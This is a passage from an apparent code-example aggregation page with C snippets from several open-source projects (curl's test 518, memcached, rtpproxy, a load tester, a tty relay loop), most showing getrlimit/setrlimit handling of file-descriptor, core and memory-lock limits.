			if((retval = read(original_tty_fd, scratch, sizeof(scratch))) == -1){
				fprintf(stderr, "%s: read(%d, %lx, %d): %s\n", \
						program_invocation_short_name, \
						original_tty_fd, (unsigned long) scratch, (int) sizeof(scratch), \
						strerror(errno));
				retcode = -errno;
				goto RESET_TERM;
			}
			bytes_read = (retval == -1) ? 0 : retval;

			if((retval = write(new_tty_fd, scratch, bytes_read)) == -1){
				fprintf(stderr, "%s: write(%d, %lx, %d): %s\n", \
						program_invocation_short_name, \
						new_tty_fd, (unsigned long) scratch, bytes_read, \
						strerror(errno));
				retcode = -errno;
				goto RESET_TERM;
			}

			if(!char_read){
				if(bytes_read == 1){
					char_read = scratch[0];
				}
			}else{
				if(bytes_read == 1){
					if(write(STDOUT_FILENO, &char_read, 1) == -1){
						fprintf(stderr, "%s: write(%d, %lx, %d): %s\n", \
								program_invocation_short_name, \
								STDOUT_FILENO, (unsigned long) &char_read, 1, \
								strerror(errno));
						retcode = -errno;
						goto RESET_TERM;
					}
					char_read = scratch[0];
				}
			}

		}else if(FD_ISSET(new_tty_fd, &fd_select)){

			char_read = '\0';
			memset(scratch, 0, sizeof(scratch));
			errno = 0;
			if(((retval = read(new_tty_fd, scratch, sizeof(scratch))) == -1) && (errno != EIO)){
				fprintf(stderr, "%s: read(%d, %lx, %d): %s\n", \
						program_invocation_short_name, \
						new_tty_fd, (unsigned long) scratch, (int) sizeof(scratch), \
						strerror(errno));
				retcode = -errno;
				goto RESET_TERM;
			}else if(!retval || errno == EIO){
				retcode = 0;
				goto RESET_TERM;
			}
			bytes_read = (retval == -1) ? 0 : retval;

			if((retval = write(original_tty_fd, scratch, bytes_read)) == -1){
				fprintf(stderr, "%s: write(%d, %lx, %d): %s\n", \
						program_invocation_short_name, \
						original_tty_fd, (unsigned long) &char_read, bytes_read, \
						strerror(errno));
				retcode = -errno;
				goto RESET_TERM;
			}

			if(write(STDOUT_FILENO, scratch, bytes_read) == -1){
				fprintf(stderr, "%s: write(%d, %lx, %d): %s\n", \
						program_invocation_short_name, \
						STDOUT_FILENO, (unsigned long) &char_read, 1, \
						strerror(errno));
				retcode = -errno;
				goto RESET_TERM;
			}
		}
	}

RESET_TERM:
	tcsetattr(original_tty_fd, TCSANOW, &saved_termios_attrs);

	return(retcode);
}
示例#13
0
文件: HsUnix.c 项目: 23Skidoo/unix
int __hscore_getrlimit(int resource, struct rlimit *rlim) {
    return (getrlimit(resource, rlim));
}
示例#14
0
void adultWeightopenMemArray2(char subname[]) {

        FILE *FH;
        int i, y ,z;
        int LocalLots;
        char LotFile[128];
        int branksize;
	off_t totsize = 0;
	struct stat inode;

        int locklimit;

        //finner grensen på antal sider vi kan låse i minne
        struct rlimit rlim;

        if (getrlimit(RLIMIT_MEMLOCK, &rlim) < 0) {
                printf("Warning: Cannot raise RLIMIT_MEMLOCK limits.");
                locklimit = 0;
        }
        else {
                locklimit = rlim.rlim_cur;
        }


        //aloker minne for rank for de forskjelige lottene
        LocalLots=0;
        for (i=0;i<maxLots;i++) {
                //sjekekr om dette er en lokal lot

                        adultWeightMemArray[i] = 0;


                        GetFilPathForLot(LotFile,i,subname);
                        strcat(LotFile,"AdultWeight");

                        // prøver å opne
                        if ( (FH = fopen(LotFile,"r+b")) == NULL ) {
                                //perror(LotFile);
				continue;
                        }

			fstat(fileno(FH),&inode);


			if (inode.st_size == 0) {
				printf("adultWeightopenMemArray2: file is emty\n");
				continue;
			}

			//#ifdef DEBUG
                               printf("loaded lot %i\n",i);
			//#endif

                        branksize = sizeof(unsigned char) * NrofDocIDsInLot;

			#ifdef MMAP_ADULT


			if (inode.st_size < branksize) {
				fprintf(stderr,"adultWeightopenMemArray: file is smaler then size. file size %"PRId64", suposed to be %i\n",inode.st_size,branksize);				

                               	/*
                               	Stretch the file size to the size of the (mmapped) array of ints
                               	*/
                               	if (fseek(FH, branksize +1, SEEK_SET) == -1) {
                               	        perror("Error calling fseek() to 'stretch' the file");
                               	        exit(EXIT_FAILURE);
                               	}

                               	/* Something needs to be written at the end of the file to
                               	* have the file actually have the new size.
                               	* Just writing an empty string at the current file position will do.
                               	*
                               	* Note:
                               	*  - The current position in the file is at the end of the stretched
                               	*    file due to the call to fseek().
                               	*  - An empty string is actually a single '\0' character, so a zero-byte
                               	*    will be written at the last byte of the file.
                               	*/
                       	        if (fwrite("", 1, 1, FH) != 1) {
               	                        perror("Error writing last byte of the file");
                                        exit(EXIT_FAILURE);
	                        }

			}

			if ((adultWeightMemArray[i] = mmap(0,branksize,PROT_READ,MAP_SHARED,fileno(FH),0) ) == NULL) {
                               	fprintf(stderr,"adultWeightopenMemArray: can't mmap for lot %i\n",i);
                               	perror("mmap");
                       	}

                        //hvis vi kan låse uendelig med minne gjør vi det
                        if (locklimit == -1) {
                        	//laster all rankerings dataen fra minne, slik ad det går fort å leste den inn siden
                                z = 0;
                                for(y=0;y<NrofDocIDsInLot;y++) {
                                	z += adultWeightMemArray[i][y];
                                }
                                //låser minne
                                if (mlock(adultWeightMemArray[i],branksize) != 0) {
                                	perror("mlock");
                                        //exit(1);
                               	}
                        }


			#else
                        if ((adultWeightMemArray[i] = (unsigned char*)malloc(branksize)) == NULL) {
                                printf("malloc eror for lot %i\n",i);
                                perror("malloc");
                                exit(1);
                        }

                        fread(adultWeightMemArray[i],branksize,1,FH);

			#endif

                        //debug: viser alle rankene vi laster
                        //for(y=0;y<branksize;y++) {
                        //      printf("DocID %i, rank %i\n",y,adultWeightMemArray[i][y]);
                        //}

                        fclose(FH);

			totsize += branksize;

                        ++LocalLots;

                
        }
        printf("adultWeightopenMemArray: have %i local lots\n",LocalLots);
	printf("adultWeightopenMemArray: loaded a total of %"PRId64" bytes\n",totsize);

}
示例#15
0
文件: lib518.c 项目: kevinw/curl
static int rlimit(int keep_open)
{
  int nitems, i;
  int *memchunk = NULL;
  char *fmt;
  struct rlimit rl;
  char strbuff[256];
  char strbuff1[81];
  char strbuff2[81];
  char fmt_u[] = "%u";
  char fmt_lu[] = "%lu";
#ifdef HAVE_LONGLONG
  char fmt_llu[] = "%llu";

  if (sizeof(rl.rlim_max) > sizeof(long))
    fmt = fmt_llu;
  else
#endif
    fmt = (sizeof(rl.rlim_max) < sizeof(long))?fmt_u:fmt_lu;

  /* get initial open file limits */

  if (getrlimit(RLIMIT_NOFILE, &rl) != 0) {
    store_errmsg("getrlimit() failed", ERRNO);
    fprintf(stderr, "%s\n", msgbuff);
    return -1;
  }

  /* show initial open file limits */

#ifdef RLIM_INFINITY
  if (rl.rlim_cur == RLIM_INFINITY)
    strcpy(strbuff, "INFINITY");
  else
#endif
    sprintf(strbuff, fmt, rl.rlim_cur);
  fprintf(stderr, "initial soft limit: %s\n", strbuff);

#ifdef RLIM_INFINITY
  if (rl.rlim_max == RLIM_INFINITY)
    strcpy(strbuff, "INFINITY");
  else
#endif
    sprintf(strbuff, fmt, rl.rlim_max);
  fprintf(stderr, "initial hard limit: %s\n", strbuff);

  /* show our constants */

  fprintf(stderr, "test518 FD_SETSIZE: %d\n", FD_SETSIZE);
  fprintf(stderr, "test518 NUM_OPEN  : %d\n", NUM_OPEN);
  fprintf(stderr, "test518 NUM_NEEDED: %d\n", NUM_NEEDED);

  /*
   * if soft limit and hard limit are different we ask the
   * system to raise soft limit all the way up to the hard
   * limit. Due to some other system limit the soft limit
   * might not be raised up to the hard limit. So from this
   * point the resulting soft limit is our limit. Trying to
   * open more than soft limit file descriptors will fail.
   */

  if (rl.rlim_cur != rl.rlim_max) {

#ifdef OPEN_MAX
    if ((rl.rlim_cur > 0) &&
        (rl.rlim_cur < OPEN_MAX)) {
      fprintf(stderr, "raising soft limit up to OPEN_MAX\n");
      rl.rlim_cur = OPEN_MAX;
      if (setrlimit(RLIMIT_NOFILE, &rl) != 0) {
        /* on failure don't abort just issue a warning */
        store_errmsg("setrlimit() failed", ERRNO);
        fprintf(stderr, "%s\n", msgbuff);
        msgbuff[0] = '\0';
      }
    }
#endif

    fprintf(stderr, "raising soft limit up to hard limit\n");
    rl.rlim_cur = rl.rlim_max;
    if (setrlimit(RLIMIT_NOFILE, &rl) != 0) {
      /* on failure don't abort just issue a warning */
      store_errmsg("setrlimit() failed", ERRNO);
      fprintf(stderr, "%s\n", msgbuff);
      msgbuff[0] = '\0';
    }

    /* get current open file limits */

    if (getrlimit(RLIMIT_NOFILE, &rl) != 0) {
      store_errmsg("getrlimit() failed", ERRNO);
      fprintf(stderr, "%s\n", msgbuff);
      return -3;
    }

    /* show current open file limits */

#ifdef RLIM_INFINITY
    if (rl.rlim_cur == RLIM_INFINITY)
      strcpy(strbuff, "INFINITY");
    else
#endif
      sprintf(strbuff, fmt, rl.rlim_cur);
    fprintf(stderr, "current soft limit: %s\n", strbuff);

#ifdef RLIM_INFINITY
    if (rl.rlim_max == RLIM_INFINITY)
      strcpy(strbuff, "INFINITY");
    else
#endif
      sprintf(strbuff, fmt, rl.rlim_max);
    fprintf(stderr, "current hard limit: %s\n", strbuff);

  } /* (rl.rlim_cur != rl.rlim_max) */

  /*
   * test 518 is all about testing libcurl functionality
   * when more than FD_SETSIZE file descriptors are open.
   * This means that if for any reason we are not able to
   * open more than FD_SETSIZE file descriptors then test
   * 518 should not be run.
   */

  /*
   * verify that soft limit is higher than NUM_NEEDED,
   * which is the number of file descriptors we would 
   * try to open plus SAFETY_MARGIN to not exhaust the
   * file descriptor pool
   */

  num_open.rlim_cur = NUM_NEEDED;

  if ((rl.rlim_cur > 0) &&
#ifdef RLIM_INFINITY
     (rl.rlim_cur != RLIM_INFINITY) &&
#endif
     (rl.rlim_cur <= num_open.rlim_cur)) {
    sprintf(strbuff2, fmt, rl.rlim_cur);
    sprintf(strbuff1, fmt, num_open.rlim_cur);
    sprintf(strbuff, "fds needed %s > system limit %s",
            strbuff1, strbuff2);
    store_errmsg(strbuff, 0);
    fprintf(stderr, "%s\n", msgbuff);
    return -4;
  }

  /*
   * reserve a chunk of memory before opening file descriptors to
   * avoid a low memory condition once the file descriptors are
   * open. System conditions that could make the test fail should
   * be addressed in the precheck phase. This chunk of memory shall
   * be always free()ed before exiting the rlimit() function so
   * that it becomes available to the test.
   */

  for (nitems = i = 1; nitems <= i; i *= 2)
    nitems = i;
  if (nitems > 0x7fff)
    nitems = 0x40000;
  do {
    num_open.rlim_max = sizeof(*memchunk) * (size_t)nitems;
    sprintf(strbuff, fmt, num_open.rlim_max);
    fprintf(stderr, "allocating memchunk %s byte array\n", strbuff);
    memchunk = malloc(sizeof(*memchunk) * (size_t)nitems);
    if (!memchunk) {
      fprintf(stderr, "memchunk, malloc() failed\n");
      nitems /= 2;
    }
  } while (nitems && !memchunk);
  if (!memchunk) {
    store_errmsg("memchunk, malloc() failed", ERRNO);
    fprintf(stderr, "%s\n", msgbuff);
    return -5;
  }

  /* initialize it to fight lazy allocation */

  fprintf(stderr, "initializing memchunk array\n");

  for (i = 0; i < nitems; i++)
    memchunk[i] = -1;

  /* set the number of file descriptors we will try to open */

  num_open.rlim_max = NUM_OPEN;

  /* verify that we won't overflow size_t in malloc() */

  if ((size_t)(num_open.rlim_max) > ((size_t)-1) / sizeof(*fd)) {
    sprintf(strbuff1, fmt, num_open.rlim_max);
    sprintf(strbuff, "unable to allocate an array for %s "
            "file descriptors, would overflow size_t", strbuff1);
    store_errmsg(strbuff, 0);
    fprintf(stderr, "%s\n", msgbuff);
    free(memchunk);
    return -6;
  }

  /* allocate array for file descriptors */

  sprintf(strbuff, fmt, num_open.rlim_max);
  fprintf(stderr, "allocating array for %s file descriptors\n", strbuff);

  fd = malloc(sizeof(*fd) * (size_t)(num_open.rlim_max));
  if (!fd) {
    store_errmsg("fd, malloc() failed", ERRNO);
    fprintf(stderr, "%s\n", msgbuff);
    free(memchunk);
    return -7;
  }

  /* initialize it to fight lazy allocation */

  fprintf(stderr, "initializing fd array\n");

  for (num_open.rlim_cur = 0;
       num_open.rlim_cur < num_open.rlim_max;
       num_open.rlim_cur++)
    fd[num_open.rlim_cur] = -1;

  sprintf(strbuff, fmt, num_open.rlim_max);
  fprintf(stderr, "trying to open %s file descriptors\n", strbuff);

  /* open a dummy descriptor */

  fd[0] = open(DEV_NULL, O_RDONLY);
  if (fd[0] < 0) {
    sprintf(strbuff, "opening of %s failed", DEV_NULL);
    store_errmsg(strbuff, ERRNO);
    fprintf(stderr, "%s\n", msgbuff);
    free(fd);
    fd = NULL;
    free(memchunk);
    return -8;
  }

  /* create a bunch of file descriptors */

  for (num_open.rlim_cur = 1; 
       num_open.rlim_cur < num_open.rlim_max; 
       num_open.rlim_cur++) {

    fd[num_open.rlim_cur] = dup(fd[0]);

    if (fd[num_open.rlim_cur] < 0) {

      fd[num_open.rlim_cur] = -1;

      sprintf(strbuff1, fmt, num_open.rlim_cur);
      sprintf(strbuff, "dup() attempt %s failed", strbuff1);
      fprintf(stderr, "%s\n", strbuff);

      sprintf(strbuff1, fmt, num_open.rlim_cur);
      sprintf(strbuff, "fds system limit seems close to %s", strbuff1);
      fprintf(stderr, "%s\n", strbuff);

      num_open.rlim_max = NUM_NEEDED;

      sprintf(strbuff2, fmt, num_open.rlim_max);
      sprintf(strbuff1, fmt, num_open.rlim_cur);
      sprintf(strbuff, "fds needed %s > system limit %s",
              strbuff2, strbuff1);
      store_errmsg(strbuff, 0);
      fprintf(stderr, "%s\n", msgbuff);

      for (num_open.rlim_cur = 0;
           fd[num_open.rlim_cur] >= 0;
           num_open.rlim_cur++)
        close(fd[num_open.rlim_cur]);
      free(fd);
      fd = NULL;
      free(memchunk);
      return -9;

    }

  }

  sprintf(strbuff, fmt, num_open.rlim_max);
  fprintf(stderr, "%s file descriptors open\n", strbuff);

#if !defined(HAVE_POLL_FINE)    && \
    !defined(USE_WINSOCK)       && \
    !defined(TPF)

  /*
   * when using select() instead of poll() we cannot test
   * libcurl functionality with a socket number equal or
   * greater than FD_SETSIZE. In any case, macro VERIFY_SOCK
   * in lib/select.c enforces this check and protects libcurl
   * from a possible crash. The effect of this protection
   * is that test 518 will always fail, since the actual
   * call to select() never takes place. We skip test 518
   * with an indication that select limit would be exceeded.
   */

  num_open.rlim_cur = FD_SETSIZE - SAFETY_MARGIN;
  if (num_open.rlim_max > num_open.rlim_cur) {
    sprintf(strbuff, "select limit is FD_SETSIZE %d", FD_SETSIZE);
    store_errmsg(strbuff, 0);
    fprintf(stderr, "%s\n", msgbuff);
    close_file_descriptors();
    free(memchunk);
    return -10;
  }

  num_open.rlim_cur = FD_SETSIZE - SAFETY_MARGIN;
  for (rl.rlim_cur = 0;
       rl.rlim_cur < num_open.rlim_max;
       rl.rlim_cur++) {
    if ((fd[rl.rlim_cur] > 0) &&
       ((unsigned int)fd[rl.rlim_cur] > num_open.rlim_cur)) {
      sprintf(strbuff, "select limit is FD_SETSIZE %d", FD_SETSIZE);
      store_errmsg(strbuff, 0);
      fprintf(stderr, "%s\n", msgbuff);
      close_file_descriptors();
      free(memchunk);
      return -11;
    }
  }

#endif /* using a FD_SETSIZE bound select() */

  /*
   * Old or 'backwards compatible' implementations of stdio do not allow
   * handling of streams with an underlying file descriptor number greater
   * than 255, even when allowing high numbered file descriptors for sockets.
   * At this point we have a big number of file descriptors which have been
   * opened using dup(), so lets test the stdio implementation and discover
   * if it is capable of fopen()ing some additional files.
   */

  if (!fopen_works()) {
    sprintf(strbuff1, fmt, num_open.rlim_max);
    sprintf(strbuff, "stdio fopen() fails with %s fds open()",
            strbuff1);
    fprintf(stderr, "%s\n", msgbuff);
    sprintf(strbuff, "stdio fopen() fails with lots of fds open()");
    store_errmsg(strbuff, 0);
    close_file_descriptors();
    free(memchunk);
    return -12;
  }

  /* free the chunk of memory we were reserving so that it
     becomes becomes available to the test */

  free(memchunk);

  /* close file descriptors unless instructed to keep them */

  if (!keep_open) {
    close_file_descriptors();
  }

  return 0;
}
示例#16
0
int
main( int argc, char** argv )
    {
    int argn;
    int start;
#define START_NONE 0
#define START_PARALLEL 1
#define START_RATE 2
    int start_parallel = -1, start_rate = -1;
    int end;
#define END_NONE 0
#define END_FETCHES 1
#define END_SECONDS 2
    int end_fetches = -1, end_seconds = -1;
    int cnum;
    char* url_file;
    char* sip_file;
#ifdef RLIMIT_NOFILE
    struct rlimit limits;
#endif /* RLIMIT_NOFILE */
    fd_set rfdset;
    fd_set wfdset;
    struct timeval now;
    int i, r;

    max_connections = 64 - RESERVED_FDS;	/* a guess */
#ifdef RLIMIT_NOFILE
    /* Try and increase the limit on # of files to the maximum. */
    if ( getrlimit( RLIMIT_NOFILE, &limits ) == 0 )
	{
	if ( limits.rlim_cur != limits.rlim_max )
	    {
	    if ( limits.rlim_max == RLIM_INFINITY )
		limits.rlim_cur = 8192;		/* arbitrary */
	    else if ( limits.rlim_max > limits.rlim_cur )
		limits.rlim_cur = limits.rlim_max;
	    (void) setrlimit( RLIMIT_NOFILE, &limits );
	    }
	max_connections = limits.rlim_cur - RESERVED_FDS;
	}
#endif /* RLIMIT_NOFILE */

    /* Parse args. */
    argv0 = argv[0];
    argn = 1;
    do_checksum = do_throttle = do_verbose = do_jitter = do_proxy = 0;
    throttle = THROTTLE;
    sip_file = (char*) 0;
    idle_secs = IDLE_SECS;
    start = START_NONE;
    end = END_NONE;
    while ( argn < argc && argv[argn][0] == '-' && argv[argn][1] != '\0' )
	{
	if ( strncmp( argv[argn], "-checksum", strlen( argv[argn] ) ) == 0 )
	    do_checksum = 1;
	else if ( strncmp( argv[argn], "-throttle", strlen( argv[argn] ) ) == 0 )
	    do_throttle = 1;
	else if ( strncmp( argv[argn], "-Throttle", strlen( argv[argn] ) ) == 0 && argn + 1 < argc )
	    {
	    do_throttle = 1;
	    throttle = atoi( argv[++argn] ) / 10.0;
	    }
	else if ( strncmp( argv[argn], "-verbose", strlen( argv[argn] ) ) == 0 )
	    do_verbose = 1;
	else if ( strncmp( argv[argn], "-timeout", strlen( argv[argn] ) ) == 0 && argn + 1 < argc )
	    idle_secs = atoi( argv[++argn] );
	else if ( strncmp( argv[argn], "-jitter", strlen( argv[argn] ) ) == 0 )
	    do_jitter = 1;
	else if ( strncmp( argv[argn], "-parallel", strlen( argv[argn] ) ) == 0 && argn + 1 < argc )
	    {
	    start = START_PARALLEL;
	    start_parallel = atoi( argv[++argn] );
	    if ( start_parallel < 1 )
		{
		(void) fprintf(
		    stderr, "%s: parallel must be at least 1\n", argv0 );
		exit( 1 );
		}
	    if ( start_parallel > max_connections )
		{
		(void) fprintf(
		    stderr, "%s: parallel may be at most %d\n", argv0, max_connections );
		exit( 1 );
		}
	    }
	else if ( strncmp( argv[argn], "-rate", strlen( argv[argn] ) ) == 0 && argn + 1 < argc )
	    {
	    start = START_RATE;
	    start_rate = atoi( argv[++argn] );
	    if ( start_rate < 1 )
		{
		(void) fprintf(
		    stderr, "%s: rate must be at least 1\n", argv0 );
		exit( 1 );
		}
	    if ( start_rate > 1000 )
		{
		(void) fprintf(
		    stderr, "%s: rate may be at most 1000\n", argv0 );
		exit( 1 );
		}
	    }
	else if ( strncmp( argv[argn], "-fetches", strlen( argv[argn] ) ) == 0 && argn + 1 < argc )
	    {
	    end = END_FETCHES;
	    end_fetches = atoi( argv[++argn] );
	    if ( end_fetches < 1 )
		{
		(void) fprintf(
		    stderr, "%s: fetches must be at least 1\n", argv0 );
		exit( 1 );
		}
	    }
	else if ( strncmp( argv[argn], "-seconds", strlen( argv[argn] ) ) == 0 && argn + 1 < argc )
	    {
	    end = END_SECONDS;
	    end_seconds = atoi( argv[++argn] );
	    if ( end_seconds < 1 )
		{
		(void) fprintf(
		    stderr, "%s: seconds must be at least 1\n", argv0 );
		exit( 1 );
		}
	    }
	else if ( strncmp( argv[argn], "-sip", strlen( argv[argn] ) ) == 0 && argn + 1 < argc )
	    sip_file = argv[++argn];
#ifdef USE_SSL
	else if ( strncmp( argv[argn], "-cipher", strlen( argv[argn] ) ) == 0 && argn + 1 < argc )
	    {
	    cipher = argv[++argn];
	    if ( strcasecmp( cipher, "fastsec" ) == 0 )
		cipher = "RC4-MD5";
	    else if ( strcasecmp( cipher, "highsec" ) == 0 )
		cipher = "DES-CBC3-SHA";
	    else if ( strcasecmp( cipher, "paranoid" ) == 0 )
		cipher = "AES256-SHA";
	    }
#endif /* USE_SSL */
	else if ( strncmp( argv[argn], "-proxy", strlen( argv[argn] ) ) == 0 && argn + 1 < argc )
	    {
	    char* colon;
	    do_proxy = 1;
	    proxy_hostname = argv[++argn];
	    colon = strchr( proxy_hostname, ':' );
	    if ( colon == (char*) 0 )
		proxy_port = 80;
	    else
		{
		proxy_port = (unsigned short) atoi( colon + 1 );
		*colon = '\0';
		}
	    }
	else
	    usage();
	++argn;
	}
    if ( argn + 1 != argc )
	usage();
    if ( start == START_NONE || end == END_NONE )
	usage();
    if ( do_jitter && start != START_RATE )
	usage();
    url_file = argv[argn];

    /* Read in and parse the URLs. */
    read_url_file( url_file );

    /* Read in the source IP file, if specified. */
    if ( sip_file != (char*) 0 )
	read_sip_file( sip_file );

    /* Initialize the connections table. */
    if ( start == START_PARALLEL )
	max_connections = start_parallel;
    connections = (connection*) malloc_check(
	max_connections * sizeof(connection) );
    for ( cnum = 0; cnum < max_connections; ++cnum )
	connections[cnum].conn_state = CNST_FREE;
    num_connections = max_parallel = 0;

    /* Initialize the HTTP status-code histogram. */
    for ( i = 0; i < 1000; ++i )
	http_status_counts[i] = 0;

    /* Initialize the statistics. */
    fetches_started = 0;
    connects_completed = 0;
    responses_completed = 0;
    fetches_completed = 0;
    total_bytes = 0;
    total_connect_usecs = 0;
    max_connect_usecs = 0;
    min_connect_usecs = 1000000000L;
    total_response_usecs = 0;
    max_response_usecs = 0;
    min_response_usecs = 1000000000L;
    total_timeouts = 0;
    total_badbytes = 0;
    total_badchecksums = 0;

    /* Initialize the random number generator. */
#ifdef HAVE_SRANDOMDEV
    srandomdev();
#else
    srandom( (int) time( (time_t*) 0 ) ^ getpid() );
#endif

    /* Initialize the rest. */
    tmr_init();
    (void) gettimeofday( &now, (struct timezone*) 0 );
    start_at = now;
    if ( do_verbose )
	(void) tmr_create(
	    &now, progress_report, JunkClientData, PROGRESS_SECS * 1000L, 1 );
    if ( start == START_RATE )
	{
	start_interval = 1000L / start_rate;
	if ( do_jitter )
	    {
	    low_interval = start_interval * 9 / 10;
	    high_interval = start_interval * 11 / 10;
	    range_interval = high_interval - low_interval + 1;
	    }
	(void) tmr_create(
	    &now, start_timer, JunkClientData, start_interval, ! do_jitter );
	}
    if ( end == END_SECONDS )
	(void) tmr_create(
	    &now, end_timer, JunkClientData, end_seconds * 1000L, 0 );
    (void) signal( SIGPIPE, SIG_IGN );

    /* Main loop. */
    for (;;)
	{
	if ( end == END_FETCHES && fetches_completed >= end_fetches )
	    finish( &now );

	if ( start == START_PARALLEL )
	    {
	    /* See if we need to start any new connections; but at most 10. */
	    for ( i = 0;
		  i < 10 &&
		    num_connections < start_parallel &&
		    ( end != END_FETCHES || fetches_started < end_fetches );
		  ++i )
		{
		start_connection( &now );
		(void) gettimeofday( &now, (struct timezone*) 0 );
		tmr_run( &now );
		}
	    }

	/* Build the fdsets. */
	FD_ZERO( &rfdset );
	FD_ZERO( &wfdset );
	for ( cnum = 0; cnum < max_connections; ++cnum )
	    switch ( connections[cnum].conn_state )
		{
		case CNST_CONNECTING:
		FD_SET( connections[cnum].conn_fd, &wfdset );
		break;
		case CNST_HEADERS:
		case CNST_READING:
		FD_SET( connections[cnum].conn_fd, &rfdset );
		break;
		}
	r = select(
	    FD_SETSIZE, &rfdset, &wfdset, (fd_set*) 0, tmr_timeout( &now ) );
	if ( r < 0 )
	    {
	    perror( "select" );
	    exit( 1 );
	    }
	(void) gettimeofday( &now, (struct timezone*) 0 );

	/* Service them. */
	for ( cnum = 0; cnum < max_connections; ++cnum )
	    switch ( connections[cnum].conn_state )
		{
		case CNST_CONNECTING:
		if ( FD_ISSET( connections[cnum].conn_fd, &wfdset ) )
		    handle_connect( cnum, &now, 1 );
		break;
		case CNST_HEADERS:
		case CNST_READING:
		if ( FD_ISSET( connections[cnum].conn_fd, &rfdset ) )
		    handle_read( cnum, &now );
		break;
		}
	/* And run the timers. */
	tmr_run( &now );
	}

    /* NOT_REACHED */
    }
示例#17
0
int main (int argc, char **argv) {
    int c;
    conn *l_conn;
    struct in_addr addr;
    int lock_memory = 0;
    int daemonize = 0;
    int maxcore = 0;
    char *username = 0;
    struct passwd *pw;
    struct sigaction sa;
    struct rlimit rlim;
    char *pid_file = NULL;

    /* init settings */
    settings_init();

    /* process arguments */
    while ((c = getopt(argc, argv, "p:m:Mc:khirvdl:u:P:")) != -1) {
        switch (c) {
        case 'p':
            settings.port = atoi(optarg);
            break;
        case 'm':
            settings.maxbytes = atoi(optarg)*1024*1024;
            break;
        case 'M':
            settings.evict_to_free = 0;
            break;
        case 'c':
            settings.maxconns = atoi(optarg);
            break;
        case 'h':
            usage();
            exit(0);
        case 'i':
            usage_license();
            exit(0);
        case 'k':
            lock_memory = 1;
            break;
        case 'v':
            settings.verbose++;
            break;
        case 'l':
            if (!inet_aton(optarg, &addr)) {
                fprintf(stderr, "Illegal address: %s\n", optarg);
                return 1;
            } else {
                settings.interface = addr;
            }
            break;
        case 'd':
            daemonize = 1;
            break;
        case 'r':
            maxcore = 1;
            break;
        case 'u':
            username = optarg;
            break;
        case 'P':
            pid_file = optarg;
            break;
        default:
            fprintf(stderr, "Illegal argument \"%c\"\n", c);
            return 1;
        }
    }

    if (maxcore) {
        struct rlimit rlim_new;
        /*
         * First try raising to infinity; if that fails, try bringing
         * the soft limit to the hard.
         */
        if (getrlimit(RLIMIT_CORE, &rlim)==0) {
            rlim_new.rlim_cur = rlim_new.rlim_max = RLIM_INFINITY;
            if (setrlimit(RLIMIT_CORE, &rlim_new)!=0) {
                /* failed. try raising just to the old max */
                rlim_new.rlim_cur = rlim_new.rlim_max =
                                        rlim.rlim_max;
                (void) setrlimit(RLIMIT_CORE, &rlim_new);
            }
        }
        /*
         * getrlimit again to see what we ended up with. Only fail if
         * the soft limit ends up 0, because then no core files will be
         * created at all.
         */

        if ((getrlimit(RLIMIT_CORE, &rlim)!=0) || rlim.rlim_cur==0) {
            fprintf(stderr, "failed to ensure corefile creation\n");
            exit(1);
        }
    }

    /*
     * If needed, increase rlimits to allow as many connections
     * as needed.
     */

    if (getrlimit(RLIMIT_NOFILE, &rlim) != 0) {
        fprintf(stderr, "failed to getrlimit number of files\n");
        exit(1);
    } else {
        int maxfiles = settings.maxconns;
        if (rlim.rlim_cur < maxfiles)
            rlim.rlim_cur = maxfiles + 3;
        if (rlim.rlim_max < rlim.rlim_cur)
            rlim.rlim_max = rlim.rlim_cur;
        if (setrlimit(RLIMIT_NOFILE, &rlim) != 0) {
            fprintf(stderr, "failed to set rlimit for open files. Try running as root or requesting smaller maxconns value.\n");
            exit(1);
        }
    }

    /*
     * initialization order: first create the listening socket
     * (may need root on low ports), then drop root if needed,
     * then daemonise if needed, then init libevent (in some cases
     * descriptors created by libevent wouldn't survive forking).
     */

    /* create the listening socket and bind it */
    l_socket = server_socket(settings.port);
    if (l_socket == -1) {
        fprintf(stderr, "failed to listen\n");
        exit(1);
    }

    /* lose root privileges if we have them */
    if (getuid()== 0 || geteuid()==0) {
        if (username==0 || *username=='\0') {
            fprintf(stderr, "can't run as root without the -u switch\n");
            return 1;
        }
        if ((pw = getpwnam(username)) == 0) {
            fprintf(stderr, "can't find the user %s to switch to\n", username);
            return 1;
        }
        if (setgid(pw->pw_gid)<0 || setuid(pw->pw_uid)<0) {
            fprintf(stderr, "failed to assume identity of user %s\n", username);
            return 1;
        }
    }

    /* daemonize if requested */
    /* if we want to ensure our ability to dump core, don't chdir to / */
    if (daemonize) {
        int res;
        res = daemon(maxcore, settings.verbose);
        if (res == -1) {
            fprintf(stderr, "failed to daemon() in order to daemonize\n");
            return 1;
        }
    }


    /* initialize other stuff */
    item_init();
    event_init();
    stats_init();
    assoc_init();
    conn_init();
    slabs_init(settings.maxbytes);

    /* lock paged memory if needed */
    if (lock_memory) {
#ifdef HAVE_MLOCKALL
        mlockall(MCL_CURRENT | MCL_FUTURE);
#else
        fprintf(stderr, "warning: mlockall() not supported on this platform.  proceeding without.\n");
#endif
    }

    /*
     * ignore SIGPIPE signals; we can use errno==EPIPE if we
     * need that information
     */
    sa.sa_handler = SIG_IGN;
    sa.sa_flags = 0;
    if (sigemptyset(&sa.sa_mask) == -1 ||
            sigaction(SIGPIPE, &sa, 0) == -1) {
        perror("failed to ignore SIGPIPE; sigaction");
        exit(1);
    }

    /* create the initial listening connection */
    if (!(l_conn = conn_new(l_socket, conn_listening, EV_READ | EV_PERSIST))) {
        fprintf(stderr, "failed to create listening connection");
        exit(1);
    }

    /* initialise deletion array and timer event */
    deltotal = 200;
    delcurr = 0;
    todelete = malloc(sizeof(item *)*deltotal);
    delete_handler(0,0,0); /* sets up the event */

    /* save the PID in if we're a daemon */
    if (daemonize)
        save_pid(getpid(),pid_file);

    /* enter the loop */
    event_loop(0);

    /* remove the PID file if we're a daemon */
    if (daemonize)
        remove_pidfile(pid_file);

    return 0;
}
示例#18
0
文件: main.c 项目: denodaeus/rtpproxy
static void
init_config(struct cfg *cf, int argc, char **argv)
{
    int ch, i;
    char *bh[2], *bh6[2], *cp;
    const char *errmsg;
    struct passwd *pp;
    struct group *gp;

    bh[0] = bh[1] = bh6[0] = bh6[1] = NULL;

    cf->stable.port_min = PORT_MIN;
    cf->stable.port_max = PORT_MAX;

    cf->stable.max_ttl = SESSION_TIMEOUT;
    cf->stable.tos = TOS;
    cf->stable.rrtcp = 1;
    cf->stable.ttl_mode = TTL_UNIFIED;
    cf->stable.log_level = -1;
    cf->stable.log_facility = -1;

    pthread_mutex_init(&cf->glock, NULL);
